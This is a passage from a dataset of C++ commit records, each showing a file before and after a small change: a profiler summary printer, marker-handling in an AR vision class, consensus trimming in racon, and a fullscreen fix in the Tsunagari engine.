\"\\n\";\n std::cout << \"|| \" << name << \" || Summary :\\n\";\n std::cout << \" '\" << box << \"' \" << \"\\n\";\n if (m->data.find(name) == m->data.end())\n {\n std::cout << name << \" never called\\n\\n\";\n return;\n }\n\n std::vector<double> data = m->getData(name);\n\n size_t n = data.size();\n double sum = 0;\n for(auto& num : data)\n {\n sum += num;\n }\n\n std::cout << \"total time : \" << sum << \" s\\n\";\n std::cout << \"called \" << n << \" times\\n\";\n std::cout << \"min time : \" << *std::min_element(data.begin(), data.end()) << \"s\\n\";\n std::cout << \"max time : \" << *std::max_element(data.begin(), data.end()) << \"s\\n\";\n std::cout << \"average : \" << sum\/(double)n << \"s\\n\";\n \n std::cout << \"\\n\";\n}\n\nvoid Profiler::printGroupSummary(const std::vector<std::string> &names)\n{\n\n Profiler* m = getInstance();\n std::cout << \" .=======================. \\n\";\n std::cout << \"|| Profile Summary ||\\n\";\n std::cout << \" '=======================' \\n\";\n\n\n std::size_t label_len = max_element(names.begin(), names.end(),\n [] (const std::string &a, const std::string &b)\n {return a.length() < b.length();}) -> length() + 2;\n\n label_len = std::max(label_len, (size_t)8);\n\n const std::string label_format = (\"%-\" + std::to_string(label_len) + \"s\");\n \n printf(label_format.c_str(), \"Label\");\n printf(\"%16s\", \"tot time (s)\");\n printf(\"%16s\", \"num_calls\");\n printf(\"%16s\", \"avg time (s)\");\n printf(\"\\n\");\n\n std::string seperator = std::string(label_len-2, '~') + \" \" + std::string(12, '.')\n + \" \" + std::string(9, '~') + \" \" + std::string(12, '.');\n\n for(const auto& name: names)\n {\n if(name.find(\"~~~~~\")==0)\n {\n\n printf(\"%s\\n\", seperator.c_str());\n continue;\n }\n printf(label_format.c_str(), name.c_str());\n double tot_time = 0.0;\n double avg_time = 0.0;\n size_t num_calls = 0;\n if(m->data.find(name) != m->data.end())\n {\n std::vector<double> &data = m->data[name];\n tot_time = 0;\n for(auto& val : data)\n {\n tot_time += val;\n }\n num_calls = data.size();\n avg_time = tot_time\/(double)num_calls;\n }\n printf(\" %15f %15ld %15f\\n\", tot_time, num_calls, avg_time);\n }\n}\n\nvoid Profiler::writeGroupSummary(const std::string &filename,\n const std::vector<std::string> &names)\n{\n FILE * outfile;\n outfile = std::fopen(filename.c_str(), \"a+\");\n \n Profiler* m = getInstance();\n \/\/ std::cout << \" .=======================. \\n\";\n \/\/ std::cout << \"|| Profile Summary ||\\n\";\n \/\/ std::cout << \" '=======================' \\n\";\n\n\n std::size_t label_len = max_element(names.begin(), names.end(),\n [] (const std::string &a, const std::string &b)\n {return a.length() < b.length();}) -> length() + 2;\n\n label_len = std::max(label_len, (size_t)8);\n\n const std::string label_format = (\"%-\" + std::to_string(label_len) + \"s\");\n \n fprintf(outfile, label_format.c_str(), \"Label\");\n fprintf(outfile, \"%16s\", \"tot time (s)\");\n fprintf(outfile, \"%16s\", \"num_calls\");\n fprintf(outfile, \"%16s\", \"avg time (s)\");\n fprintf(outfile, \"\\n\");\n\n std::string seperator = std::string(label_len-2, '~') + \" \" + std::string(12, '.')\n + \" \" + std::string(9, '~') + \" \" + std::string(12, '.');\n\n for(const auto& name: names)\n {\n if(name.find(\"~~~~~\")==0)\n {\n\n fprintf(outfile, \"%s\\n\", seperator.c_str());\n continue;\n }\n fprintf(outfile, label_format.c_str(), name.c_str());\n double tot_time = 0.0;\n double avg_time = 0.0;\n size_t num_calls = 0;\n if(m->data.find(name) != m->data.end())\n {\n std::vector<double> &data = m->data[name];\n tot_time = 0;\n for(auto& val : data)\n {\n tot_time += val;\n }\n num_calls = data.size();\n avg_time = tot_time\/(double)num_calls;\n }\n fprintf(outfile, \" %15f %15ld %15f\\n\", tot_time, num_calls, avg_time);\n \n }\n std::fclose(outfile);\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"vision.hpp\"\n#include \"operators.hpp\"\n\n#include <QTemporaryFile>\n#include <iomanip>\n#include <iostream>\n#include <sstream>\n\nvision::vision (QStatusBar& statusbar, augmentation_widget& augmentation, QObject* parent)\n: QObject (parent)\n, _movement3d_average (1)\n, _failed_frames_counter (0)\n, _debug_mode (0)\n, _augmentation (augmentation)\n, _cam (new QCamera (QCamera::BackFace))\n, _video_player (NULL)\n, _acquisition (this)\n, _operators ()\n, _statusbar (statusbar) {\n _cam->setViewfinder (&_acquisition);\n connect (&_acquisition, SIGNAL (frameAvailable (const QVideoFrame&)), this,\n SLOT (frame_callback (const QVideoFrame&)));\n _cam->start ();\n}\n\nvoid vision::set_debug_mode (const int mode) {\n _debug_mode = mode;\n}\nint vision::debug_mode () {\n return _debug_mode;\n}\n\nvoid vision::set_input (const QCameraInfo& cameraInfo) {\n if (_video_player != NULL) {\n delete _video_player;\n }\n _video_player = NULL;\n if (_cam != NULL) {\n delete _cam;\n }\n\n _cam = new QCamera (cameraInfo);\n _cam->setViewfinder (&_acquisition);\n _cam->start ();\n if (_cam->status () != QCamera::ActiveStatus) {\n _statusbar.showMessage (QString (\"camera status %1\").arg (_cam->status ()), 2000);\n }\n}\n\nvoid vision::set_input (const QString& resource_path) {\n QFile resource_file (resource_path);\n if (resource_file.exists ()) {\n auto temp_file = QTemporaryFile::createNativeFile (resource_file);\n QString fs_path = temp_file->fileName ();\n\n if (!fs_path.isEmpty ()) {\n if (_cam != NULL) {\n delete _cam;\n }\n _cam = NULL;\n if (_video_player != NULL) {\n delete _video_player;\n }\n\n _video_player = new QMediaPlayer ();\n _video_player->setVideoOutput (&_acquisition);\n _video_player->setMedia (QUrl::fromLocalFile (fs_path));\n _video_player->play ();\n }\n }\n}\n\nvoid vision::set_paused (bool paused) {\n if (paused) {\n disconnect (&_acquisition, SIGNAL (frameAvailable (const QVideoFrame&)),\n this, SLOT (frame_callback (const QVideoFrame&)));\n } else {\n connect (&_acquisition, SIGNAL (frameAvailable (const QVideoFrame&)),\n this, SLOT (frame_callback (const QVideoFrame&)));\n }\n}\n\nvoid set_focus () {\n ; \/\/ TODO: add focus implementation\n}\n\nvoid vision::set_reference () {\n _markers_mutex.lock ();\n _reference = _markers;\n _markers_mutex.unlock ();\n}\n\nvoid vision::frame_callback (const QVideoFrame& const_buffer) {\n bool status = true;\n image_t image;\n if (const_buffer.isValid ()) {\n \/\/ copy image into cpu memory\n QVideoFrame frame (const_buffer);\n if (frame.map (QAbstractVideoBuffer::ReadOnly)) {\n image.data = (uint8_t*)malloc (frame.mappedBytes ());\n memcpy (image.data, frame.bits (), frame.mappedBytes ());\n\n if (frame.pixelFormat () == QVideoFrame::Format_RGB24) {\n image.format = RGB24;\n image.width = frame.width ();\n image.height = frame.height ();\n } else if (frame.pixelFormat () == QVideoFrame::Format_YUV420P) {\n image.format = YUV;\n image.width = frame.width ();\n image.height = frame.height ();\n } else {\n _statusbar.showMessage (\n QString (\"unsuported format %1\").arg (frame.pixelFormat ()), 2000);\n }\n } else {\n status = false;\n }\n frame.unmap ();\n }\n\n if (status) {\n if (_debug_mode == 0) {\n _augmentation.setBackground (image);\n _augmentation.update ();\n }\n \/\/ start image processing\n _operators.preprocessing (image);\n if (_debug_mode == 1) {\n _augmentation.setBackground (image);\n _augmentation.update ();\n }\n\n _operators.segmentation (image);\n if (_debug_mode == 2) {\n _augmentation.setBackground (image);\n _augmentation.update ();\n }\n\n _markers_mutex.lock ();\n _markers.clear ();\n _operators.extraction (image, _markers);\n if (_debug_mode == 3) {\n _augmentation.setBackground (image);\n _augmentation.update ();\n }\n\n movement3d movement;\n _operators.classification (_reference, _markers, movement); \/\/ classify\n _markers_mutex.unlock ();\n movement = _movement3d_average.average (movement);\n _augmentation.setScale (movement.scale ());\n translation_t translation = movement.translation ();\n movement.translation (\n { movement.translation_delta_to_absolute (translation.x, image.width, -1, 1),\n movement.translation_delta_to_absolute (translation.y, image.height, -1, 1) });\n _augmentation.setXPosition (movement.translation ().x);\n _augmentation.setYPosition (movement.translation ().y);\n\n _augmentation.setYRotation (movement.yaw ());\n _augmentation.setZRotation (movement.roll ());\n _augmentation.setXRotation ((movement.pitch ()) - 90);\n std::cout << movement << std::endl;\n\n std::stringstream stream;\n stream << std::setprecision (2);\n \/\/ stream << \"T(\" << movement.translation ().x << \",\"\n \/\/ << movement.translation ().y << \") \";\n stream << \"S: \" << movement.scale () << \" \";\n stream << \"yaw: \" << movement.yaw () << \" \";\n stream << \"pitch: \" << movement.pitch () << \" \";\n stream << \"roll: \" << movement.roll () << std::endl;\n _statusbar.showMessage (stream.str ().c_str ());\n\n QImage debug_image ((const unsigned char*)image.data, image.width,\n image.height, QImage::Format_Grayscale8);\n debug_image.save (\"debug_image.png\");\n\n delete image.data;\n }\n}\n<commit_msg>fix error handling when not enough markers are found<commit_after>#include \"vision.hpp\"\n#include \"operators.hpp\"\n\n#include <QTemporaryFile>\n#include <iomanip>\n#include <iostream>\n#include <sstream>\n\nvision::vision (QStatusBar& statusbar, augmentation_widget& augmentation, QObject* parent)\n: QObject (parent)\n, _movement3d_average (1)\n, _failed_frames_counter (0)\n, _debug_mode (0)\n, _augmentation (augmentation)\n, _cam (new QCamera (QCamera::BackFace))\n, _video_player (NULL)\n, _acquisition (this)\n, _operators ()\n, _statusbar (statusbar) {\n _cam->setViewfinder (&_acquisition);\n connect (&_acquisition, SIGNAL (frameAvailable (const QVideoFrame&)), this,\n SLOT (frame_callback (const QVideoFrame&)));\n _cam->start ();\n}\n\nvoid vision::set_debug_mode (const int mode) {\n _debug_mode = mode;\n}\nint vision::debug_mode () {\n return _debug_mode;\n}\n\nvoid vision::set_input (const QCameraInfo& cameraInfo) {\n if (_video_player != NULL) {\n delete _video_player;\n }\n _video_player = NULL;\n if (_cam != NULL) {\n delete _cam;\n }\n\n _cam = new QCamera (cameraInfo);\n _cam->setViewfinder (&_acquisition);\n _cam->start ();\n if (_cam->status () != QCamera::ActiveStatus) {\n _statusbar.showMessage (QString (\"camera status %1\").arg (_cam->status ()), 2000);\n }\n}\n\nvoid vision::set_input (const QString& resource_path) {\n QFile resource_file (resource_path);\n if (resource_file.exists ()) {\n auto temp_file = QTemporaryFile::createNativeFile (resource_file);\n QString fs_path = temp_file->fileName ();\n\n if (!fs_path.isEmpty ()) {\n if (_cam != NULL) {\n delete _cam;\n }\n _cam = NULL;\n if (_video_player != NULL) {\n delete _video_player;\n }\n\n _video_player = new QMediaPlayer ();\n _video_player->setVideoOutput (&_acquisition);\n _video_player->setMedia (QUrl::fromLocalFile (fs_path));\n _video_player->play ();\n }\n }\n}\n\nvoid vision::set_paused (bool paused) {\n if (paused) {\n disconnect (&_acquisition, SIGNAL (frameAvailable (const QVideoFrame&)),\n this, SLOT (frame_callback (const QVideoFrame&)));\n } else {\n connect (&_acquisition, SIGNAL (frameAvailable (const QVideoFrame&)),\n this, SLOT (frame_callback (const QVideoFrame&)));\n }\n}\n\nvoid set_focus () {\n ; \/\/ TODO: add focus implementation\n}\n\nvoid vision::set_reference () {\n _markers_mutex.lock ();\n _reference = _markers;\n _markers_mutex.unlock ();\n}\n\nvoid vision::frame_callback (const QVideoFrame& const_buffer) {\n bool status = true;\n image_t image;\n if (const_buffer.isValid ()) {\n \/\/ copy image into cpu memory\n QVideoFrame frame (const_buffer);\n if (frame.map (QAbstractVideoBuffer::ReadOnly)) {\n image.data = (uint8_t*)malloc (frame.mappedBytes ());\n memcpy (image.data, frame.bits (), frame.mappedBytes ());\n\n if (frame.pixelFormat () == QVideoFrame::Format_RGB24) {\n image.format = RGB24;\n image.width = frame.width ();\n image.height = frame.height ();\n } else if (frame.pixelFormat () == QVideoFrame::Format_YUV420P) {\n image.format = YUV;\n image.width = frame.width ();\n image.height = frame.height ();\n } else {\n _statusbar.showMessage (\n QString (\"unsuported format %1\").arg (frame.pixelFormat ()), 2000);\n }\n } else {\n status = false;\n }\n frame.unmap ();\n }\n\n if (status) {\n if (_debug_mode == 0) {\n _augmentation.setBackground (image);\n _augmentation.update ();\n }\n \/\/ start image processing\n _operators.preprocessing (image);\n if (_debug_mode == 1) {\n _augmentation.setBackground (image);\n _augmentation.update ();\n }\n\n _operators.segmentation (image);\n if (_debug_mode == 2) {\n _augmentation.setBackground (image);\n _augmentation.update ();\n }\n\n _markers_mutex.lock ();\n _markers.clear ();\n _operators.extraction (image, _markers);\n if (_debug_mode == 3) {\n _augmentation.setBackground (image);\n _augmentation.update ();\n }\n\n movement3d movement;\n bool clasified = _operators.classification (_reference, _markers, movement); \/\/ classify\n if (clasified) {\n _markers_mutex.unlock ();\n movement = _movement3d_average.average (movement);\n _augmentation.setScale (movement.scale ());\n translation_t translation = movement.translation ();\n movement.translation (\n { movement.translation_delta_to_absolute (translation.x, image.width, -1, 1),\n movement.translation_delta_to_absolute (translation.y, image.height, -1, 1) });\n _augmentation.setXPosition (movement.translation ().x);\n _augmentation.setYPosition (movement.translation ().y);\n\n _augmentation.setYRotation (movement.yaw ());\n _augmentation.setZRotation (movement.roll ());\n _augmentation.setXRotation ((movement.pitch ()) - 90);\n std::cout << movement << std::endl;\n\n std::stringstream stream;\n stream << std::setprecision (2);\n \/\/ stream << \"T(\" << movement.translation ().x << \",\"\n \/\/ << movement.translation ().y << \") \";\n stream << \"S: \" << movement.scale () << \" \";\n stream << \"yaw: \" << movement.yaw () << \" \";\n stream << \"pitch: \" << movement.pitch () << \" \";\n stream << \"roll: \" << movement.roll () << std::endl;\n _statusbar.showMessage (stream.str ().c_str ());\n } else {\n _statusbar.showMessage (\"No markers! You idiot...\");\n }\n\n QImage debug_image ((const unsigned char*)image.data, image.width,\n image.height, QImage::Format_Grayscale8);\n debug_image.save (\"debug_image.png\");\n\n delete image.data;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*!\n * @file window.cpp\n *\n * @brief Window class source file\n *\/\n\n#include <algorithm>\n\n#include \"window.hpp\"\n\n#include \"spoa\/spoa.hpp\"\n\nnamespace racon {\n\nstd::shared_ptr<Window> createWindow(uint64_t id, uint32_t rank, WindowType type,\n const char* backbone, uint32_t backbone_length, const char* quality,\n uint32_t quality_length) {\n\n if (backbone_length == 0 || backbone_length != quality_length) {\n fprintf(stderr, \"[racon::createWindow] error: \"\n \"empty backbone sequence\/unequal quality length!\\n\");\n exit(1);\n }\n\n return std::shared_ptr<Window>(new Window(id, rank, type, backbone,\n backbone_length, quality, quality_length));\n}\n\nWindow::Window(uint64_t id, uint32_t rank, WindowType type, const char* backbone,\n uint32_t backbone_length, const char* quality, uint32_t quality_length)\n : id_(id), rank_(rank), type_(type), consensus_(), sequences_(),\n qualities_(), positions_() {\n\n sequences_.emplace_back(backbone, backbone_length);\n qualities_.emplace_back(quality, quality_length);\n positions_.emplace_back(0, 0);\n}\n\nWindow::~Window() {\n}\n\nvoid Window::add_layer(const char* sequence, uint32_t sequence_length,\n const char* quality, uint32_t quality_length, uint32_t begin, uint32_t end) {\n\n if (quality != nullptr && sequence_length != quality_length) {\n fprintf(stderr, \"[racon::Window::add_layer] error: \"\n \"unequal quality size!\\n\");\n exit(1);\n }\n if (begin >= end || begin > sequences_.front().second || end > sequences_.front().second) {\n fprintf(stderr, \"[racon::Window::add_layer] error: \"\n \"layer begin and end positions are invalid!\\n\");\n exit(1);\n }\n\n sequences_.emplace_back(sequence, sequence_length);\n qualities_.emplace_back(quality, quality_length);\n positions_.emplace_back(begin, end);\n}\n\nbool Window::generate_consensus(std::shared_ptr<spoa::AlignmentEngine> alignment_engine) {\n\n if (sequences_.size() < 3) {\n consensus_ = std::string(sequences_.front().first, sequences_.front().second);\n return false;\n }\n\n auto graph = spoa::createGraph();\n graph->add_alignment(spoa::Alignment(), sequences_.front().first,\n sequences_.front().second, qualities_.front().first,\n qualities_.front().second);\n\n std::vector<uint32_t> rank;\n rank.reserve(sequences_.size());\n for (uint32_t i = 0; i < sequences_.size(); ++i) {\n rank.emplace_back(i);\n }\n\n std::sort(rank.begin() + 1, rank.end(), [&](uint32_t lhs, uint32_t rhs) {\n return positions_[lhs].first < positions_[rhs].first; });\n\n uint32_t offset = 0.01 * sequences_.front().second;\n for (uint32_t i = 1; i < sequences_.size(); ++i) {\n \/\/uint32_t i = rank[j];\n\n spoa::Alignment alignment;\n \/\/if (positions_[i].first < offset && positions_[i].second >\n \/\/ sequences_.front().second - offset) {\n alignment = alignment_engine->align_sequence_with_graph(\n sequences_[i].first, sequences_[i].second, graph);\n \/\/} else {\n \/\/ std::vector<int32_t> mapping;\n \/\/ auto subgraph = graph->subgraph(positions_[i].first,\n \/\/ positions_[i].second, mapping);\n \/\/ alignment = alignment_engine->align_sequence_with_graph(\n \/\/ sequences_[i].first, sequences_[i].second, subgraph);\n \/\/ subgraph->update_alignment(alignment, mapping);\n \/\/}\n\n if (qualities_[i].first == nullptr) {\n graph->add_alignment(alignment, sequences_[i].first,\n sequences_[i].second);\n } else {\n graph->add_alignment(alignment, sequences_[i].first,\n sequences_[i].second, qualities_[i].first,\n qualities_[i].second);\n }\n }\n\n std::vector<uint32_t> coverages;\n consensus_ = graph->generate_consensus(coverages);\n\n if (type_ == WindowType::kTGS) {\n uint32_t average_coverage = (sequences_.size() - 1) \/ 2;\n\n int32_t begin = 0, end = consensus_.size() - 1;\n for (; begin < static_cast<int32_t>(consensus_.size()); ++begin) {\n if (coverages[begin] >= average_coverage) {\n break;\n }\n }\n for (; end >= 0; --end) {\n if (coverages[end] >= average_coverage) {\n break;\n }\n }\n\n if (begin >= end) {\n fprintf(stderr, \"[racon::Window::generate_consensus] warning: \"\n \"contig %lu might be chimeric in window %u!\\n\", id_, rank_);\n } else {\n \/\/consensus_ = consensus_.substr(begin, end - begin + 1);\n }\n }\n\n return true;\n}\n\n}\n<commit_msg>undid commenting out of line<commit_after>\/*!\n * @file window.cpp\n *\n * @brief Window class source file\n *\/\n\n#include <algorithm>\n\n#include \"window.hpp\"\n\n#include \"spoa\/spoa.hpp\"\n\nnamespace racon {\n\nstd::shared_ptr<Window> createWindow(uint64_t id, uint32_t rank, WindowType type,\n const char* backbone, uint32_t backbone_length, const char* quality,\n uint32_t quality_length) {\n\n if (backbone_length == 0 || backbone_length != quality_length) {\n fprintf(stderr, \"[racon::createWindow] error: \"\n \"empty backbone sequence\/unequal quality length!\\n\");\n exit(1);\n }\n\n return std::shared_ptr<Window>(new Window(id, rank, type, backbone,\n backbone_length, quality, quality_length));\n}\n\nWindow::Window(uint64_t id, uint32_t rank, WindowType type, const char* backbone,\n uint32_t backbone_length, const char* quality, uint32_t quality_length)\n : id_(id), rank_(rank), type_(type), consensus_(), sequences_(),\n qualities_(), positions_() {\n\n sequences_.emplace_back(backbone, backbone_length);\n qualities_.emplace_back(quality, quality_length);\n positions_.emplace_back(0, 0);\n}\n\nWindow::~Window() {\n}\n\nvoid Window::add_layer(const char* sequence, uint32_t sequence_length,\n const char* quality, uint32_t quality_length, uint32_t begin, uint32_t end) {\n\n if (quality != nullptr && sequence_length != quality_length) {\n fprintf(stderr, \"[racon::Window::add_layer] error: \"\n \"unequal quality size!\\n\");\n exit(1);\n }\n if (begin >= end || begin > sequences_.front().second || end > sequences_.front().second) {\n fprintf(stderr, \"[racon::Window::add_layer] error: \"\n \"layer begin and end positions are invalid!\\n\");\n exit(1);\n }\n\n sequences_.emplace_back(sequence, sequence_length);\n qualities_.emplace_back(quality, quality_length);\n positions_.emplace_back(begin, end);\n}\n\nbool Window::generate_consensus(std::shared_ptr<spoa::AlignmentEngine> alignment_engine) {\n\n if (sequences_.size() < 3) {\n consensus_ = std::string(sequences_.front().first, sequences_.front().second);\n return false;\n }\n\n auto graph = spoa::createGraph();\n graph->add_alignment(spoa::Alignment(), sequences_.front().first,\n sequences_.front().second, qualities_.front().first,\n qualities_.front().second);\n\n std::vector<uint32_t> rank;\n rank.reserve(sequences_.size());\n for (uint32_t i = 0; i < sequences_.size(); ++i) {\n rank.emplace_back(i);\n }\n\n std::sort(rank.begin() + 1, rank.end(), [&](uint32_t lhs, uint32_t rhs) {\n return positions_[lhs].first < positions_[rhs].first; });\n\n uint32_t offset = 0.01 * sequences_.front().second;\n for (uint32_t i = 1; i < sequences_.size(); ++i) {\n \/\/uint32_t i = rank[j];\n\n spoa::Alignment alignment;\n \/\/if (positions_[i].first < offset && positions_[i].second >\n \/\/ sequences_.front().second - offset) {\n alignment = alignment_engine->align_sequence_with_graph(\n sequences_[i].first, sequences_[i].second, graph);\n \/\/} else {\n \/\/ std::vector<int32_t> mapping;\n \/\/ auto subgraph = graph->subgraph(positions_[i].first,\n \/\/ positions_[i].second, mapping);\n \/\/ alignment = alignment_engine->align_sequence_with_graph(\n \/\/ sequences_[i].first, sequences_[i].second, subgraph);\n \/\/ subgraph->update_alignment(alignment, mapping);\n \/\/}\n\n if (qualities_[i].first == nullptr) {\n graph->add_alignment(alignment, sequences_[i].first,\n sequences_[i].second);\n } else {\n graph->add_alignment(alignment, sequences_[i].first,\n sequences_[i].second, qualities_[i].first,\n qualities_[i].second);\n }\n }\n\n std::vector<uint32_t> coverages;\n consensus_ = graph->generate_consensus(coverages);\n\n if (type_ == WindowType::kTGS) {\n uint32_t average_coverage = (sequences_.size() - 1) \/ 2;\n\n int32_t begin = 0, end = consensus_.size() - 1;\n for (; begin < static_cast<int32_t>(consensus_.size()); ++begin) {\n if (coverages[begin] >= average_coverage) {\n break;\n }\n }\n for (; end >= 0; --end) {\n if (coverages[end] >= average_coverage) {\n break;\n }\n }\n\n if (begin >= end) {\n fprintf(stderr, \"[racon::Window::generate_consensus] warning: \"\n \"contig %lu might be chimeric in window %u!\\n\", id_, rank_);\n } else {\n consensus_ = consensus_.substr(begin, end - begin + 1);\n }\n }\n\n return true;\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*********************************\n** Tsunagari Tile Engine **\n** window.cpp **\n** Copyright 2011-2012 OmegaSDG **\n*********************************\/\n\n#include <Gosu\/Graphics.hpp> \/\/ for Gosu::Graphics\n#include <Gosu\/Timing.hpp>\n#include <Gosu\/Utility.hpp>\n\n#include \"config.h\"\n#include \"resourcer.h\"\n#include \"world.h\"\n#include \"window.h\"\n\n\nstatic GameWindow* globalWindow = NULL;\n\nconst GameWindow& GameWindow::getWindow()\n{\n\treturn *globalWindow;\n}\n\nGameWindow::GameWindow(ClientValues* conf)\n\t: Gosu::Window((unsigned)conf->windowSize.x,\n\t (unsigned)conf->windowSize.y, conf->fullscreen),\n\t lastTime((int)Gosu::milliseconds()),\n\t now(lastTime),\n\t currentSecond(now\/1000),\n\t conf(conf)\n{\n\tglobalWindow = this;\n}\n\nGameWindow::~GameWindow()\n{\n}\n\nbool GameWindow::init(char** argv)\n{\n\trc.reset(new Resourcer(this, conf));\n\tworld.reset(new World(this, rc.get(), conf));\n\treturn rc->init(argv) && world->init();\n}\n\nint GameWindow::width() const\n{\n\treturn (int)graphics().width();\n}\n\nint GameWindow::height() const\n{\n\treturn (int)graphics().height();\n}\n\nvoid GameWindow::buttonDown(const Gosu::Button btn)\n{\n\tnow = (int)Gosu::milliseconds();\n\tif (btn == Gosu::kbEscape)\n\t\tclose();\n\telse {\n\t\tif (keystates.find(btn) == keystates.end()) {\n\t\t\tkeystate& state = keystates[btn];\n\t\t\tstate.since = now;\n\t\t\tstate.initiallyResolved = false;\n\t\t\tstate.consecutive = false;\n\n\t\t\t\/\/ We process the initial buttonDown here so that it\n\t\t\t\/\/ gets handled even if we receive a buttonUp before an\n\t\t\t\/\/ update.\n\t\t\tworld->buttonDown(btn);\n\t\t}\n\t}\n}\n\nvoid GameWindow::buttonUp(const Gosu::Button btn)\n{\n\tkeystates.erase(btn);\n\tworld->buttonUp(btn);\n}\n\nvoid GameWindow::draw()\n{\n\tworld->draw();\n}\n\nbool GameWindow::needsRedraw() const\n{\n\treturn world->needsRedraw();\n}\n\nvoid GameWindow::update()\n{\n\tcalculateDt();\n\tif (conf->moveMode == TURN)\n\t\thandleKeyboardInput();\n\tworld->update(dt);\n\n\t\/\/ Run once per second.\n\tif (now\/1000 > currentSecond) {\n\t\tcurrentSecond = now\/1000;\n\t\trc->garbageCollect();\n\t}\n}\n\nint GameWindow::time() const\n{\n\treturn now;\n}\n\nvoid GameWindow::calculateDt()\n{\n\tnow = (int)Gosu::milliseconds();\n\tdt = now - lastTime;\n\tlastTime = now;\n}\n\nvoid GameWindow::handleKeyboardInput()\n{\n\tstd::map<Gosu::Button, keystate>::iterator it;\n\n\t\/\/ Persistent input handling code\n\tfor (it = keystates.begin(); it != keystates.end(); it++) {\n\t\tGosu::Button btn = it->first;\n\t\tkeystate& state = it->second;\n\n\t\t\/\/ If there is PERSIST_DELAY_CONSECUTIVE milliseconds of latency\n\t\t\/\/ between when a button is depressed and when we first look at\n\t\t\/\/ it here, we'll incorrectly try to fire off a second round of\n\t\t\/\/ input.\n\t\t\/\/ This can happen if an intermediary function blocks the thread\n\t\t\/\/ for a while.\n\t\tif (!state.initiallyResolved) {\n\t\t\tstate.initiallyResolved = true;\n\t\t\tcontinue;\n\t\t}\n\n\t\tint delay = state.consecutive ?\n\t\t ROGUELIKE_PERSIST_DELAY_CONSECUTIVE : ROGUELIKE_PERSIST_DELAY_INIT;\n\t\tif (now >= state.since + delay) {\n\t\t\tstate.since = now;\n\t\t\tworld->buttonDown(btn);\n\t\t\tstate.consecutive = true;\n\t\t}\n\t}\n}\n\n<commit_msg>fix Gosu's faux fullscreen aspect ratio<commit_after>\/*********************************\n** Tsunagari Tile Engine **\n** window.cpp **\n** Copyright 2011-2012 OmegaSDG **\n*********************************\/\n\n#include <Gosu\/Graphics.hpp> \/\/ for Gosu::Graphics\n#include <Gosu\/Timing.hpp>\n#include <Gosu\/Utility.hpp>\n\n#include \"config.h\"\n#include \"resourcer.h\"\n#include \"world.h\"\n#include \"window.h\"\n\n\nstatic GameWindow* globalWindow = NULL;\n\nconst GameWindow& GameWindow::getWindow()\n{\n\treturn *globalWindow;\n}\n\nGameWindow::GameWindow(ClientValues* conf)\n\t\/\/ Gosu emulates the requested screen resolution on fullscreen,\n\t\/\/ but this breaks our aspect ratio-correcting letterbox.\n\t\/\/ Ergo we just make a window the size of the screen.\n\t: Gosu::Window(\n\t conf->fullscreen ? Gosu::screenWidth() :\n\t (unsigned)conf->windowSize.x,\n\t conf->fullscreen ? Gosu::screenHeight() :\n\t (unsigned)conf->windowSize.y,\n\t conf->fullscreen\n\t ),\n\t lastTime((int)Gosu::milliseconds()),\n\t now(lastTime),\n\t currentSecond(now\/1000),\n\t conf(conf)\n{\n\tglobalWindow = this;\n}\n\nGameWindow::~GameWindow()\n{\n}\n\nbool GameWindow::init(char** argv)\n{\n\trc.reset(new Resourcer(this, conf));\n\tworld.reset(new World(this, rc.get(), conf));\n\treturn rc->init(argv) && world->init();\n}\n\nint GameWindow::width() const\n{\n\treturn (int)graphics().width();\n}\n\nint GameWindow::height() const\n{\n\treturn (int)graphics().height();\n}\n\nvoid GameWindow::buttonDown(const Gosu::Button btn)\n{\n\tnow = (int)Gosu::milliseconds();\n\tif (btn == Gosu::kbEscape)\n\t\tclose();\n\telse {\n\t\tif (keystates.find(btn) == keystates.end()) {\n\t\t\tkeystate& state = keystates[btn];\n\t\t\tstate.since = now;\n\t\t\tstate.initiallyResolved = false;\n\t\t\tstate.consecutive = false;\n\n\t\t\t\/\/ We process the initial buttonDown here so that it\n\t\t\t\/\/ gets handled even if we receive a buttonUp before an\n\t\t\t\/\/ update.\n\t\t\tworld->buttonDown(btn);\n\t\t}\n\t}\n}\n\nvoid GameWindow::buttonUp(const Gosu::Button btn)\n{\n\tkeystates.erase(btn);\n\tworld->buttonUp(btn);\n}\n\nvoid GameWindow::draw()\n{\n\tworld->draw();\n}\n\nbool GameWindow::needsRedraw() const\n{\n\treturn world->needsRedraw();\n}\n\nvoid GameWindow::update()\n{\n\tcalculateDt();\n\tif (conf->moveMode == TURN)\n\t\thandleKeyboardInput();\n\tworld->update(dt);\n\n\t\/\/ Run once per second.\n\tif (now\/1000 > currentSecond) {\n\t\tcurrentSecond = now\/1000;\n\t\trc->garbageCollect();\n\t}\n}\n\nint GameWindow::time() const\n{\n\treturn now;\n}\n\nvoid GameWindow::calculateDt()\n{\n\tnow = (int)Gosu::milliseconds();\n\tdt = now - lastTime;\n\tlastTime = now;\n}\n\nvoid GameWindow::handleKeyboardInput()\n{\n\tstd::map<Gosu::Button, keystate>::iterator it;\n\n\t\/\/ Persistent input handling code\n\tfor (it = keystates.begin(); it != keystates.end(); it++) {\n\t\tGosu::Button btn = it->first;\n\t\tkeystate& state = it->second;\n\n\t\t\/\/ If there is PERSIST_DELAY_CONSECUTIVE milliseconds of latency\n\t\t\/\/ between when a button is depressed and when we first look at\n\t\t\/\/ it here, we'll incorrectly try to fire off a second round of\n\t\t\/\/ input.\n\t\t\/\/ This can happen if an intermediary function blocks the thread\n\t\t\/\/ for a while.\n\t\tif (!state.initiallyResolved) {\n\t\t\tstate.initiallyResolved = true;\n\t\t\tcontinue;\n\t\t}\n\n\t\tint delay = state.consecutive ?\n\t\t ROGUELIKE_PERSIST_DELAY_CONSECUTIVE : ROGUELIKE_PERSIST_DELAY_INIT;\n\t\tif (now >= state.since + delay) {\n\t\t\tstate.since = now;\n\t\t\tworld->buttonDown(btn);\n\t\t\tstate.consecutive = true;\n\t\t}\n\t}\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is a part of the OpenSurgSim project.\n\/\/ Copyright 2013, SimQuest Solutions Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, 